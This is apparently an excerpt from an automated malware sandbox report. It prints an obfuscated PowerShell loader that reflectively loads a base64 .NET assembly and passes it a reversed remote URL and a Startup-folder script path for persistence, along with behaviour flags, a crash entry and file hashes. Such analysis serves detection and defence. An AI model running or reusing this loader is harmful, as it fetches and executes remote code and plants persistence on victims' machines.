↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓=';$LAtEb = $LAtEb.Replace('↓:↓', 'A');[Byte[]] $Xlhdn = [System.Convert]::FromBase64String( $LAtEb );[System.AppDomain]::CurrentDomain.Load($Xlhdn).GetType('ClassLibrary3.Class1').GetMethod('prFVI').Invoke($null, [object[]] ('lmth.xedni/691.69.101.64//:ptth' , 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.js' , 'true' ) );3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 10842⤵
- Program crash
PID:2732
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5dfd3748155065ee10a19e359670314c3
SHA1a0a029b227f7f93c60ac7c5dfe68870cd4884942
SHA256ff3f712a55d95a6835431f1bddf4058b20dcf721e2b9199666cc29846cbd457a
SHA512501a5500f5ab05ccafd8b278f9bf20648b2bec96c998c0059d34f76b8817bdda2280b36b58eb1128db21c87ae375357165fb135508e1b85ebc669e5af5e626f5